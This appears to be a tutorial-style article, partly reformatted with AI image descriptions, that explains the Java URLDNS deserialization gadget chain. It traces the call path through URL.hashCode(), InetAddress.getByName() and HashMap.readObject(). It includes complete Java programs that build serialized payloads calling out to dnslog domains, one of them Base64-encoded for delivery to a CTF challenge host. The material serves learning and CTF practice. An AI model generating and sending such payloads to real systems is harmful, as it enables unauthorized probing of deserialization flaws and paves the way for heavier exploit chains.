[AI Readability Summary] URLDNS is a classic Java deserialization probe chain. Its core behavior is to trigger DNS resolution when a target deserializes a crafted object, enabling blind reachability testing without direct output. This article breaks down the relationship between
URL.hashCode(),HashMap.readObject(), and reflection-based cache resetting, then extracts a reproducible exploitation model. Keywords: Java deserialization, URLDNS, HashMap.
Technical Specifications Snapshot
| Parameter | Value |
|---|---|
| Language | Java |
| Trigger Protocol | DNS |
| Exploit Entry Point | HashMap.readObject() |
| Key Classes | java.net.URL, java.util.HashMap |
| Core Dependencies | Native JDK libraries, ObjectInputStream, Reflection API |
| External Tools | ysoserial-all.jar, DNSLog |
| Repository Popularity | Star count not provided in the original source |
The URLDNS exploit chain uses deserialization to trigger DNS requests
URLDNS is not a command execution chain. It is an out-of-band probing chain. Its value is straightforward: when a target system deserializes a malicious object, the URL object participates in hash computation and triggers domain resolution, allowing the attacker to confirm whether the deserialization sink is reachable.
This chain is commonly used for vulnerability validation, asset discovery, and CTF scenarios. Its advantages are minimal side effects and clear success criteria, but its limits are equally clear: by default, it can only trigger DNS or other network requests and cannot directly achieve remote code execution.
import java.net.URL;
public class UrlDnsDemo {
public static void main(String[] args) throws Exception {
URL url = new URL("http://example.dnslog.cn");
url.hashCode(); // Core trigger point: hash computation may enter DNS resolution
}
}
This example shows that URL.hashCode() itself can become the entry point for a DNS request.
AI Visual Insight: This image shows that ysoserial-all.jar has already been introduced into the local analysis environment, which indicates that the author combined an existing deserialization gadget tool during exploit-chain validation. The focus is on building a Java security research environment for debugging and payload generation.
URL.hashCode indirectly invokes host resolution logic
URL.hashCode() is not a simple string hash. It computes a combined result based on the protocol, host, port, path, fragment, and related fields. The host portion enters the handler.hashCode(URL) logic.
When the host field is processed, the JDK attempts to call getHostAddress(). If hostAddress has not yet been cached, execution continues into InetAddress.getByName(host), which is exactly where DNS resolution occurs.
AI Visual Insight: This image pinpoints the implementation entry of URL.hashCode(), emphasizing that the method is not a pure in-memory operation. Instead, it descends into the protocol handler handler, which is the first critical piece of evidence that makes the URLDNS chain viable.
AI Visual Insight: This image shows the internal handler member held by the URL object, clarifying that protocol-specific hashing and address handling are actually performed by URLStreamHandler, not entirely by the URL class itself.
AI Visual Insight: This image goes deeper into the handler implementation and highlights the exploit-chain analysis method: start from a public API, then trace step by step into the underlying protocol-processing code until you identify the exact point where outbound DNS traffic occurs.
protected int hashCode(URL u) {
int h = 0;
String protocol = u.getProtocol();
if (protocol != null) h += protocol.hashCode();
InetAddress addr = getHostAddress(u); // Core logic: this may trigger DNS resolution
if (addr != null) {
h += addr.hashCode();
}
return h;
}
This core logic shows that URL hash computation and network resolution are not decoupled, which makes the behavior useful as a probing surface.
getHostAddress is the direct source of the DNS request
If u.hostAddress is null, the JDK retrieves the hostname through u.getHost() and passes it to InetAddress.getByName() for resolution. That means as long as the supplied hostname is controlled by the attacker, the target JVM will issue an outbound DNS query.
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;
String host = u.getHost();
if (host == null || host.equals(""))
return null;
try {
u.hostAddress = InetAddress.getByName(host); // Core logic: trigger domain resolution
} catch (Exception e) {
return null; // Return null on exception so the chain does not fail loudly
}
return u.hostAddress;
}
This explains why URLDNS works well for blind testing: even if the application returns no visible response, the DNS platform can still observe the request record.
HashMap.readObject calls key.hashCode during deserialization
What actually brings URL.hashCode() into the deserialization flow is HashMap. Because HashMap implements Serializable, its readObject() method restores entries one by one and then executes hash(key).
As long as key is a URL object, hash(key) eventually invokes key.hashCode(). In other words, the DNS request becomes embedded in the deserialization path.
AI Visual Insight: This image shows the basic usage and key-value storage model of HashMap, establishing the context needed to explain how a URL used as a key enters the deserialization path.
AI Visual Insight: This image highlights that HashMap implements the Serializable interface, which is the prerequisite for participating in Java’s native serialization and deserialization process.
AI Visual Insight: This image marks the HashMap.writeObject location and shows that the class does not rely entirely on default serialization. Instead, it contains customized write logic.
AI Visual Insight: This image shows the entry point or implementation details of HashMap.readObject, reinforcing that the exploit chain matters not at write time but when object restoration recomputes the hash and triggers URL logic.
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject(); // Deserialize the key first
V value = (V) s.readObject(); // Then deserialize the value
putVal(hash(key), key, value, false, false); // This calls key.hashCode()
}
This snippet shows that the trigger point is not in application code, but in the JDK’s own container restoration process.
HashMap.hash routes URL objects to the exploitation point
The implementation of HashMap.hash(Object key) is very short, but it is exactly dangerous enough: as long as key != null, it directly calls key.hashCode().
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); // Core logic: trigger URL.hashCode()
}
Therefore, the minimal URLDNS exploitation model is simple: construct a HashMap that uses a URL object as the key, then make the target deserialize it.
Direct payload construction is broken by URL’s hashCode caching mechanism
The challenge is that URL internally caches its hashCode. If an attacker directly runs hashMap.put(url, "steady"), the url.hashCode() value is already computed when the key is inserted into the HashMap, and the cached value is no longer -1.
When deserialization later reaches URL.hashCode() again, the JDK sees the cached value and does not execute DNS resolution logic a second time. As a result, the payload appears to deserialize successfully, but no DNS callback occurs.
AI Visual Insight: This image shows an ObjectOutputStream-related implementation and explains that Java serialization gives priority to a class’s custom write logic, which helps explain why method invocation may already occur during the write phase.
AI Visual Insight: This image highlights the conditional check around the cached value inside URL.hashCode, showing that whether execution continues into the underlying logic depends on the state of the hashCode field. That is the root cause of payload failure.
AI Visual Insight: This image shows that HashMap.put also enters hash(key) internally, proving that the DNS trigger can be consumed prematurely during the local payload-construction phase.
Map<Object, String> map = new HashMap<>();
URL url = new URL("http://demo.dnslog.cn");
map.put(url, "steady"); // hashCode is already called here, so the cache is populated
This is also the most common reason beginners fail to reproduce URLDNS successfully.
Resetting URL.hashCode through reflection is required to build a stable payload
The standard solution is to use reflection to modify the private hashCode field in URL. The common approach is to place the URL into the HashMap first, then reset its hashCode back to -1, so the target recomputes the hash during deserialization and triggers the DNS lookup again.
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class UrlDnsPayload {
public static void main(String[] args) throws Exception {
HashMap<Object, String> map = new HashMap<>();
URL url = new URL("http://payload.dnslog.cn");
map.put(url, "steady"); // Insert into HashMap first to build a serializable structure
Field f = URL.class.getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, -1); // Core logic: reset the cache so deserialization resolves the domain again
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(map); // Serialize the payload
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject(); // Trigger DNS during deserialization
ois.close();
}
}
This example demonstrates the minimal reproducible implementation of a URLDNS payload.
AI Visual Insight: This image shows a debugging scenario with a breakpoint set at the hashCode == -1 check to verify whether the URL object re-enters the hash-computation branch.
AI Visual Insight: This image shows a breakpoint during the put call, with the goal of checking whether hashCode was already triggered during payload construction. It is useful for locating the issue of local trigger consumption.
AI Visual Insight: This image shows that the hashCode field inside the URL object has already been written to a concrete integer value, proving that once the cache is generated, later deserialization can no longer trigger DNS easily.
AI Visual Insight: This image continues observing the call chain inside HashMap.put or a related path, showing that the problem is not in the deserialization entry point. Instead, the object state was already changed during the preparation phase.
AI Visual Insight: This image shows that the cached hash value is still read during deserialization, further proving that DNS will not happen again unless the field is reset.
AI Visual Insight: This image shows the corrected execution result and indicates that after writing hashCode = -1 back through reflection, the payload meets the condition for re-resolution.
AI Visual Insight: This image most likely corresponds to the DNSLog platform or the verification endpoint, confirming that the target JVM actually issued an external DNS query during deserialization.
In CTF scenarios, the serialized output is usually encoded again before delivery
In challenge environments, the payload is often not written directly to a file. Instead, it is converted into a byte array, Base64-encoded, and then URL-encoded before being delivered through a parameter, cookie, or request body.
These transformations do not change the principle behind URLDNS. They only adapt the payload to a web input channel. The critical requirements remain the same: URL must be the key, HashMap must be deserializable, and hashCode must be reset correctly.
AI Visual Insight: This image shows the CTF challenge interface or challenge context, indicating that URLDNS is often used in practice as a verification method for web deserialization entry points rather than as an isolated local experiment.
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;
public class UrlDnsBase64 {
public static void main(String[] args) throws Exception {
HashMap<Object, String> map = new HashMap<>();
URL url = new URL("http://target.challenge.ctf.show/");
Field f = URL.class.getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 1); // Core logic: set a temporary value first to avoid a real DNS trigger during put
map.put(url, "steady");
f.set(url, -1); // Core logic: restore to -1 and wait for target-side deserialization to trigger
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(map);
String payload = Base64.getEncoder().encodeToString(bos.toByteArray());
System.out.println(payload); // Output serialized data ready for delivery
}
}
This example generates a Base64-form URLDNS payload suitable for web challenge delivery.
AI Visual Insight: This image shows the additional step of URL-encoding the Base64 payload, reflecting a common web-entry constraint where parameter formatting and special characters require further adaptation.
URLDNS is better suited as a probe chain than as a final attack chain
The role of URLDNS should be explicit: it is primarily used to prove that a target performs Java deserialization and can make outbound network requests. In real offensive and defensive workflows, researchers usually start with URLDNS for low-risk validation and then switch to a more powerful gadget chain for command execution or memory control.
From a learning perspective, URLDNS is one of the best starting points for understanding Java deserialization call paths. It covers several critical concepts at once, including object graph construction, JDK container restoration, implicit method invocation, and reflection-based field modification.
FAQ
1. Why can URLDNS trigger DNS, but usually not direct RCE?
Because it relies on the host-resolution behavior inside URL.hashCode(). In essence, it is a network probing chain and does not include command-execution classes or a dangerous method-invocation chain.
2. Why must the URL be the key in a HashMap instead of the value?
Because HashMap.readObject() executes hash(key) when restoring entries, which triggers key.hashCode(). If the URL is placed in the value position, it never reaches that trigger point.
3. Why does the payload deserialize successfully but produce no DNS record?
The most common reason is that map.put(url, value) already invoked URL.hashCode() during payload construction, which populated the cache. If you do not reset hashCode to -1 through reflection, deserialization will not trigger resolution again.
Core summary: This article reconstructs the Java URLDNS exploit chain by focusing on the interaction between URL.hashCode(), InetAddress.getByName(), and HashMap.readObject(). It explains why deserialization can trigger DNS requests and how resetting hashCode through reflection allows you to build a working payload.